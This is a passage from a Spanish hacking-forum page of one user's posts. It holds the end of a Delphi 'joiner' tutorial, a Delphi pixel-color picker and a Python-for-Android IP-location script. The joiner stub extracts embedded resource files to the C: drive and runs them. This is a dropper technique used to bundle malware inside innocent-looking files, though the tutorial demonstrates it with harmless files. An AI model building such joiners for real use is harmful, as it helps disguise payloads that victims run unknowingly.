  19.    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // Creamos el archivo
  20.  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
  21.    dos, nil); // Escribimos en el archivo creado
  22.  
  23.  CloseHandle(uno); // Cerramos
  24.  
  25.  ShellExecute(0, 'open', PChar('c:/' + cinco), nil, nil, SW_SHOWNORMAL);
  26.  // Ejecutamos el archivo
  27.  
  28. end;
  29.  
  30. begin
  31.  EnumResourceNames(0, RT_RCDATA, @start, 0);
  32.  
  33.  // Funcion para cargar los archivos del joiner
  34. end.
  35.  


Una imagen del codigo comentado.



0x04 : Probando el Joiner

Para el probar el joiner voy a usar dos archivos : una imagen del perro coraje y un archivo de texto que solo contiene un "hola mundo"

Primero cargamos el generador :



Pulsamos el boton y cargamos el tub.exe (el ejecutable del proyecto del stub) generado.



Eso es todo.

El manual esta disponible en PDF aca.

--========--
  The End ?
--========--
199  Programación / Programación General / [Delphi] DH GetColor en: 23 Agosto 2013, 18:44 pm
Un simple programa para buscar el color de un pixel.

Una imagen :



El codigo :

Código
  1. // DH GetColor 0.1
  2. // Coded By Doddy H
  3. // Credits :
  4. // Based on  : http://stackoverflow.com/questions/15155505/get-pixel-color-under-mouse-cursor-fast-way
  5. // Based on : http://www.coldtail.com/wiki/index.php?title=Borland_Delphi_Example_-_Show_pixel_color_under_mouse_cursor
  6.  
  7. unit get;
  8.  
  9. interface
  10.  
  11. uses
  12.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.  Dialogs, ExtCtrls, StdCtrls, sSkinManager, sGroupBox, sEdit, sLabel, ComCtrls,
  14.  sStatusBar, acPNG, sMemo, Clipbrd;
  15.  
  16. type
  17.  TForm1 = class(TForm)
  18.    Timer1: TTimer;
  19.    sSkinManager1: TsSkinManager;
  20.    sGroupBox1: TsGroupBox;
  21.    Shape1: TShape;
  22.    sLabel1: TsLabel;
  23.    sLabel2: TsLabel;
  24.    sStatusBar1: TsStatusBar;
  25.    sGroupBox2: TsGroupBox;
  26.    Image1: TImage;
  27.    sLabel3: TsLabel;
  28.    procedure Timer1Timer(Sender: TObject);
  29.    procedure FormCreate(Sender: TObject);
  30.    procedure FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
  31.  
  32.  private
  33.    capturanow: HDC;
  34.    { Private declarations }
  35.  public
  36.    { Public declarations }
  37.  end;
  38.  
  39. var
  40.  Form1: TForm1;
  41.  
  42. implementation
  43.  
  44. {$R *.dfm}
  45.  
  46. procedure TForm1.FormCreate(Sender: TObject);
  47. begin
  48.  
  49.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  50.  sSkinManager1.SkinName := 'cold';
  51.  sSkinManager1.Active := True;
  52.  
  53.  sLabel3.Caption := 'This program is used to' + #13 +
  54.    'find the color of a pixel' + #13 + #13 + 'Use control + v to copy' + #13 +
  55.    'the color to the clipboard' + #13 + #13 + #13 + 'The End ?';
  56.  
  57.  capturanow := GetDC(0);
  58.  if (capturanow <> 0) then
  59.    Timer1.Enabled := True;
  60. end;
  61.  
  62. procedure TForm1.FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
  63. begin
  64.  if (Shift = [ssCtrl]) and (Key = 86) then
  65.  begin
  66.    Clipboard().AsText := sLabel2.Caption;
  67.    sStatusBar1.Panels[0].Text := '[+] Color copied to clipboard';
  68.    Form1.sStatusBar1.Update;
  69.  end;
  70. end;
  71.  
  72. procedure TForm1.Timer1Timer(Sender: TObject);
  73. var
  74.  aca: TPoint;
  75.  color: TColor;
  76.  re: string;
  77.  
  78. begin
  79.  
  80.  if GetCursorPos(aca) then
  81.  begin
  82.    color := GetPixel(capturanow, aca.x, aca.y);
  83.    Shape1.Brush.color := color;
  84.    re := '#' + IntToHex(GetRValue(color), 2) + IntToHex(GetGValue(color), 2)
  85.      + IntToHex(GetBValue(color), 2);
  86.    sLabel2.Caption := re;
  87.    sStatusBar1.Panels[0].Text := '[+] Finding colors ...';
  88.    Form1.sStatusBar1.Update;
  89.  end;
  90. end;
  91.  
  92. end.
  93.  
  94. // The End ?
  95.  

Si quieren bajar el programa lo pueden hacer de aca.
200  Programación / Scripting / [Python-Android] LocateIP 0.1 en: 19 Agosto 2013, 20:19 pm
El primer script que hice en python para android.

El codigo :

Código
  1. # !usr/bin/python
  2. # LocateIP 0.1 (C) Doddy Hackman 2013
  3. # Android Version
  4.  
  5. import android,urllib2,re,socket
  6.  
  7. aplicacion = android.Android()
  8.  
  9. nave = urllib2.build_opener()
  10. nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]
  11.  
  12. def toma(web) :
  13. nave = urllib2.Request(web)
  14. nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
  15. op = urllib2.build_opener()
  16. return op.open(nave).read()
  17.  
  18. def search(pagina):
  19.  
  20. respuesta = ""
  21.  
  22. ip = socket.gethostbyname(str(pagina))
  23. code = toma("http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip)
  24.  
  25. respuesta = respuesta + "[++] IP Address Location\n"
  26.  
  27. if (re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  28.  rex = re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  29.  city = rex[0][1]
  30.  respuesta = respuesta + "\n[++] City : "+city
  31. else:
  32.  respuesta = respuesta + "\n[++] City : Not Found"
  33.  
  34. if (re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  35.  rex = re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  36.  country = rex[0][1]
  37.  respuesta = respuesta + "\n[++] Country : "+country
  38. else:
  39.  respuesta = respuesta + "\n[++] Country : Not Found"
  40.  
  41. if (re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  42.  rex = re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  43.  state = rex[0][1]
  44.  respuesta = respuesta + "\n[++] State : "+state
  45. else:
  46.  respuesta = respuesta + "\n[++] State : Not Found"
  47.  
  48.  
  49. code = toma("http://www.ip-adress.com/reverse_ip/"+ip)
  50.  
  51. if (re.findall("whois\/(.*?)\">Whois",code)):
  52.  rex = re.findall("whois\/(.*?)\">Whois",code)
  53.  respuesta = respuesta + "\n\n[++] DNS Founds\n"
  54.  for dns in rex:
  55.   respuesta = respuesta + "\n[+] "+dns
  56.  
  57. return respuesta
  58.  
  59. def menu():
  60.  
  61. aplicacion.dialogCreateAlert("LocateIP 0.1")
  62. aplicacion.dialogSetItems(["Search","About","Exit"])
  63. aplicacion.dialogShow()
  64. re = aplicacion.dialogGetResponse().result
  65.  
  66. re2 = re["item"]
  67.  
  68. if re2==0:
  69.  
  70.  red = aplicacion.dialogGetInput("LocateIP 0.1","Target")
  71.  ref = str(red[1])
  72.  
  73.  aplicacion.dialogCreateSpinnerProgress("LocateIP 0.1","Searching ...")
  74.  aplicacion.dialogShow()
  75.  
  76.  don = search(ref)
  77.  
  78.  aplicacion.dialogDismiss()
  79.  
  80.  aplicacion.dialogCreateAlert("LocateIP 0.1",don)
  81.  aplicacion.dialogSetPositiveButtonText("Done")
  82.  aplicacion.dialogShow()
  83.  
  84.  op = aplicacion.dialogGetResponse().result
  85.  
  86.  if op["which"] == "positive" :
  87.  
  88.   menu()
  89.  
  90. if re2==1 :
  91.  
  92.  aplicacion.dialogCreateAlert("LocateIP 0.1","(C) Doddy Hackman 2013")
  93.  aplicacion.dialogSetPositiveButtonText("Done")
  94.  aplicacion.dialogShow()
  95.  re3 = aplicacion.dialogGetResponse().result
  96.  
  97.  if re3["which"] == "positive" :
  98.  
  99.   menu()
  100.  
  101.  if re3==2:
  102.  
  103.   aplicacion.exit()
  104.  
  105. menu()
  106.  
  107. # The End ?
  108.  

Les dejo unas imagenes de como funciona en mi tablet argos.







Eso es todo.
Páginas: 1 ... 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [20] 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines